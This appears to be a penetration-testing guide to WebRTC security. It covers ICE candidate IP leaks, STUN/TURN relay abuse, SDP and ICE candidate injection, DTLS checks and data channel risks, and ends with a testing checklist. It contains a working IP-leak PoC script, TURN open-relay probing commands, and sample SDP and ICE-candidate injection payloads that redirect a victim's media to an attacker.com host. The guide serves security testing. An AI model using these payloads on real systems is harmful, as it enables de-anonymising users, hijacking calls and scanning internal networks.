WebRTC Security Testing: IP Leaks, ICE Manipulation, and Signaling Vulnerabilities

WebRTC enables real-time audio, video, and data communication directly between browsers — without a media relay server in the middle. It powers video conferencing (Google Meet, Jitsi, appear.in), browser-based games, peer-to-peer file transfer, and a growing number of enterprise collaboration tools. The attack surface is fundamentally different from HTTP-based APIs, and security testing requires understanding the protocol stack: ICE, STUN, TURN, DTLS, SRTP, and whatever signaling mechanism the application uses.

This guide covers the key vulnerability classes in WebRTC applications and how to test them systematically.

WebRTC Architecture: What Gets Tested

A WebRTC session involves multiple components, each with distinct security properties:

IP Address Leakage via ICE Candidates

ICE (Interactive Connectivity Establishment) works by gathering "candidates" — network addresses and ports — that the browser could use for peer-to-peer communication. This gathering happens via local network interfaces, STUN servers, and TURN servers. The problem: browsers will expose private IP addresses (RFC 1918 addresses like 192.168.x.x) as ICE candidates even if the user is behind NAT or a VPN.

This is the classic WebRTC IP leak that de-anonymizes VPN users. For security testing, it's also significant in different ways:

// Minimal ICE leak PoC
const pc = new RTCPeerConnection({
    iceServers: [{urls: 'stun:stun.l.google.com:19302'}]
});
pc.createDataChannel('');
pc.createOffer().then(offer => pc.setLocalDescription(offer));
pc.onicecandidate = (e) => {
    if (!e.candidate) return;
    const ip = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(
        e.candidate.candidate
    );
    if (ip) console.log('Internal IP:', ip[1]);
};

Browser vendors have partially mitigated this with mDNS obfuscation (Chrome 75+, Firefox 71+) — replacing internal IP addresses with .local hostnames. However, this mitigation is not universal and can be disabled. Test whether the application:

• Collects and logs ICE candidates server-side (creating a persistent IP record)
• Exposes ICE candidates to other peers unnecessarily
• Disables browser mDNS obfuscation via flags or enterprise policy

STUN Server Security

STUN (Session Traversal Utilities for NAT) servers respond to binding requests with the client's external IP:port as seen from the server. Configuration issues:

Unrestricted STUN Server Use

Applications that specify attacker-controlled STUN servers in their ICE configuration expose users to IP address harvesting by the STUN server operator. Check whether the application's ICE configuration accepts user-supplied STUN/TURN server URLs:

// Vulnerable: STUN URL from user input
const iceConfig = {
    iceServers: [{urls: userInput.stunServer}]
};
const pc = new RTCPeerConnection(iceConfig);

STUN Amplification

STUN servers with open access can be abused for UDP amplification attacks. Test whether the STUN server requires authentication and rate-limits unauthenticated binding requests.

# Test STUN server with turnutils_stunclient (from rfc5766-turn-server)
turnutils_stunclient -p 3478 target.com

# Or with nmap
nmap -sU -p 3478 --script stun-info target.com

TURN Server Security Testing

TURN (Traversal Using Relays around NAT) servers relay media when direct peer-to-peer connection fails. A misconfigured TURN server is an open relay that attackers can abuse to proxy arbitrary TCP/UDP traffic to internal network hosts.

Open TURN Relay Abuse

If a TURN server accepts connections without valid credentials or with weak credential validation, an attacker can use it to:

• Scan internal network hosts through the relay
• Exfiltrate data over TURN connections to bypass egress controls
• Relay SSRF attacks through the TURN server's network position

# Test TURN server for open relay with turnutils_uclient
# First try without credentials
turnutils_uclient -p 3478 -e target.com -X -y turn-server.com

# Test with known-weak credentials
turnutils_uclient -u test -w test -p 3478 turn-server.com

# If relay succeeds to an internal address, it's an open/weak relay
turnutils_uclient -u user -w pass -e 192.168.1.1 -p 3478 turn-server.com

TURN Credential Extraction

Applications must provide TURN credentials to clients for the browser to authenticate. These are often delivered via the application's REST API. Test for:

• Long-lived credentials: TURN credentials should be short-lived (time-limited HMAC credentials per RFC 5766). Static username/password pairs are a finding.
• Over-permissioned credentials: Credentials should restrict the peer address ranges the relay can be used for.
• Credential leak in client-side code: Check if TURN credentials are hardcoded in JavaScript bundles.
• Unauthenticated credential endpoint: The API endpoint that provides TURN credentials should require authentication.

Signaling Layer Vulnerabilities

WebRTC does not specify a signaling protocol — applications implement their own (typically WebSocket-based JSON messaging, SIP, or XMPP). The signaling layer carries SDP (Session Description Protocol) offers and answers, and ICE candidates. It's where most application-layer WebRTC vulnerabilities live.

SDP Injection

SDP is a text-based format. If an application reflects user-controlled values into SDP without validation, an attacker can modify session parameters:

v=0
o=user 2890844526 2890842807 IN IP4 attacker.com
s=SDP Injection Test
c=IN IP4 attacker.com  <-- redirect media to attacker IP
t=0 0
m=audio 49170 RTP/SAVPF 0
a=rtpmap:0 PCMU/8000

Test SDP injection by intercepting the signaling WebSocket, modifying the SDP offer/answer, and observing whether the application accepts the modified session parameters.

Session Hijacking via Signaling

If the signaling channel does not properly authenticate session ownership, an attacker may be able to:

• Join an existing session by replaying a session ID
• Send ICE candidates for another user's session
• Force reconnection to an attacker-controlled endpoint by injecting a new ICE candidate

ICE Candidate Injection

If the signaling server relays ICE candidates without validating that they belong to the expected peer:

// Injected ICE candidate pointing to attacker TURN server
{
    "type": "ice-candidate",
    "sessionId": "victim-session-id",
    "candidate": {
        "candidate": "candidate:1 1 UDP 1685855999 attacker.com 3478 typ relay raddr 0.0.0.0 rport 0",
        "sdpMLineIndex": 0
    }
}

If accepted, the victim's media may route through the attacker's TURN relay.

DTLS Security Configuration

WebRTC mandates DTLS 1.2 or higher for key exchange (DTLS-SRTP). Test DTLS configuration:

# Capture WebRTC traffic (requires key logging)
# Set SSLKEYLOGFILE environment variable before starting browser
export SSLKEYLOGFILE=/tmp/webrtc-keys.log
chromium --enable-logging

# In Wireshark: Edit > Preferences > Protocols > TLS > (Pre)-Master-Secret log filename
# Then analyze DTLS handshake parameters

# Check for weak cipher suites in DTLS handshake
# Look for: NULL ciphers, export-grade, RC4, DES, MD5

Key DTLS checks:

• DTLS version: must be 1.2+ (1.0 and 1.1 are deprecated)
• Certificate fingerprint verification: the SDP must include a=fingerprint and the application must verify it matches the DTLS certificate
• Perfect forward secrecy: ECDHE or DHE key exchange required

Browser Permissions and Permission Escalation

WebRTC requires explicit browser permission for camera and microphone access. Test for:

• Permission persistence abuse: Applications that store permissions without appropriate scope limits
• Track manipulation: Whether an application can switch from a user-approved video track to screen capture without re-prompting
• getDisplayMedia abuse: Screen sharing APIs that don't show the browser permission prompt or misrepresent what's being captured

Data Channel Security

WebRTC data channels use SCTP over DTLS. They can transfer arbitrary binary data between peers. Security considerations:

• No same-origin policy: Data channels can be opened to cross-origin peers. Validate that the application authenticates the remote peer identity before accepting data channel messages.
• Unvalidated message handling: Data channel messages are often handled in JavaScript without input validation. Test for XSS and injection via malformed data channel payloads.
• Resource exhaustion: Unlimited data channel message sizes or rapid message flooding can exhaust browser resources.

WebRTC Security Testing Checklist

• Test for WebRTC IP leakage (internal IP disclosure via ICE candidates)
• Verify mDNS obfuscation is not disabled by application configuration
• Test STUN server for unauthenticated binding and amplification potential
• Test TURN server for open relay — attempt to relay to internal IP ranges
• Verify TURN credentials are short-lived (time-limited HMAC) and not static
• Check TURN credential endpoint for authentication requirements
• Audit JavaScript bundles for hardcoded STUN/TURN credentials
• Test signaling for SDP injection via WebSocket interception
• Test for session hijacking via ICE candidate injection
• Verify DTLS version is 1.2+, with valid certificate fingerprint in SDP
• Check that browser getUserMedia permissions are scoped appropriately
• Test data channel message handling for injection vulnerabilities
• Verify peer identity is authenticated before processing data channel messages

Tools for WebRTC Security Testing